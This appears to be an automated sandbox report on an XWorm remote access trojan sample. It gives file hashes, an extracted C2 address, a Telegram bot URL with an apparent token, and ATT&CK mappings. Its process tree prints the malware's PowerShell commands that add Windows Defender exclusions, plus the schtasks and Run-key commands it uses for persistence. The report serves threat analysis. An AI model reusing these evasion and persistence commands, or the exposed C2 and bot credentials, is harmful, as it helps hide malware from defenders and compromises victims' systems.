xworm | bfc092b384976e97153bae0e29359461bfd65fce5ad8188d6460de57bc680eaf

Analysis

max time kernel
149s
max time network
139s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
02-08-2024 18:52

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General

Target

1/3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Size

487KB
MD5

f451292bbe0b4c16d244c251105de16a
SHA1

a527d277ccc25ad97ae64fb76767f1e2cda66ff2
SHA256

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a
SHA512

d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a
SSDEEP

6144:MNDD+bHpEiGXQ4rnc+UI73whSk7MIhWI3tf5Jx/R7ZCe7w4uoVLdaPYZHuW31bZ+:MNncp0jUI73F0DhHbbzCMwI11b

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

schools-copper.gl.at.ply.gg:14154

Attributes

Install_directory
%Userprofile%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6887301557:AAE2e7AcjyzPeaHQb_2XBthrT3TTCKt7jCs/sendMessage?chat_id=7045481276

Signatures

Detect Xworm Payload 4 IoCs

Processes:

resource	yara_rule
behavioral19/memory/712-1-0x00000000010E0000-0x000000000115E000-memory.dmp	family_xworm
C:\Users\Admin\svchost.exe	family_xworm
behavioral19/memory/576-37-0x00000000000D0000-0x000000000014E000-memory.dmp	family_xworm
behavioral19/memory/2584-40-0x00000000010C0000-0x000000000113E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2932 powershell.exe
2252 powershell.exe
1280 powershell.exe
2800 powershell.exe

pid	process
2932	powershell.exe
2252	powershell.exe
1280	powershell.exe
2800	powershell.exe

Drops startup file 2 IoCs

Processes:

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Executes dropped EXE 2 IoCs

Processes:

svchost.exesvchost.exe

pid process

576 svchost.exe
2584 svchost.exe

pid	process
576	svchost.exe
2584	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\svchost.exe"	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1904 schtasks.exe

flow	ioc
4	ip-api.com

pid	process
1904	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

pid	process
2800	powershell.exe
2932	powershell.exe
2252	powershell.exe
1280	powershell.exe
712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	576	svchost.exe
Token: SeDebugPrivilege	2584	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

pid process

712 3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

pid	process
712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exetaskeng.exe

description	pid	process	target process
PID 712 wrote to memory of 2800	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2800	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2800	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2932	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2932	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2932	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2252	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2252	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 2252	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 1280	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 1280	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 1280	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	powershell.exe
PID 712 wrote to memory of 1904	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	schtasks.exe
PID 712 wrote to memory of 1904	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	schtasks.exe
PID 712 wrote to memory of 1904	712	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	schtasks.exe
PID 1908 wrote to memory of 576	1908	taskeng.exe	svchost.exe
PID 1908 wrote to memory of 576	1908	taskeng.exe	svchost.exe
PID 1908 wrote to memory of 576	1908	taskeng.exe	svchost.exe
PID 1908 wrote to memory of 2584	1908	taskeng.exe	svchost.exe
PID 1908 wrote to memory of 2584	1908	taskeng.exe	svchost.exe
PID 1908 wrote to memory of 2584	1908	taskeng.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
"C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1280
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1904

C:\Windows\system32\taskeng.exe
taskeng.exe {8F166CDB-401A-47DD-88B6-DD26E0322ECD} S-1-5-21-2172136094-3310281978-782691160-1000:EXCFTDUU\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1908
- C:\Users\Admin\svchost.exe
  C:\Users\Admin\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Users\Admin\svchost.exe
  C:\Users\Admin\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
cae4d1582b5f1b7f9727acfcab0a9174

SHA1
1f3db6bba9b52cfc5f65c30f2c1ab415bafdb61a

SHA256
2f9d329a792158f4985388823dc21b31b1d745227b8eec5fa6624d255127ca87

SHA512
4d10ef06cdd1fbba455530abe5a80c7f8c72e99ff8f6ae203d62143b1e323891cc4d645b54d0e2780552b669ec675a521e531f0a1bc187cbcf37779514f415bd

Download Submit
C:\Users\Admin\svchost.exe

Filesize
487KB

MD5
f451292bbe0b4c16d244c251105de16a

SHA1
a527d277ccc25ad97ae64fb76767f1e2cda66ff2

SHA256
3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a

SHA512
d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

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memory/576-37-0x00000000000D0000-0x000000000014E000-memory.dmp

Filesize
504KB

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memory/712-2-0x000007FEF6540000-0x000007FEF6F2C000-memory.dmp

Filesize
9.9MB

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memory/712-0-0x000007FEF6543000-0x000007FEF6544000-memory.dmp

Filesize
4KB

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memory/712-32-0x000007FEF6543000-0x000007FEF6544000-memory.dmp

Filesize
4KB

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memory/712-33-0x000007FEF6540000-0x000007FEF6F2C000-memory.dmp

Filesize
9.9MB

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memory/712-1-0x00000000010E0000-0x000000000115E000-memory.dmp

Filesize
504KB

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memory/2584-40-0x00000000010C0000-0x000000000113E000-memory.dmp

Filesize
504KB

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memory/2800-7-0x0000000002EE0000-0x0000000002F60000-memory.dmp

Filesize
512KB

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memory/2800-8-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

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memory/2800-9-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

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memory/2932-15-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

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memory/2932-16-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

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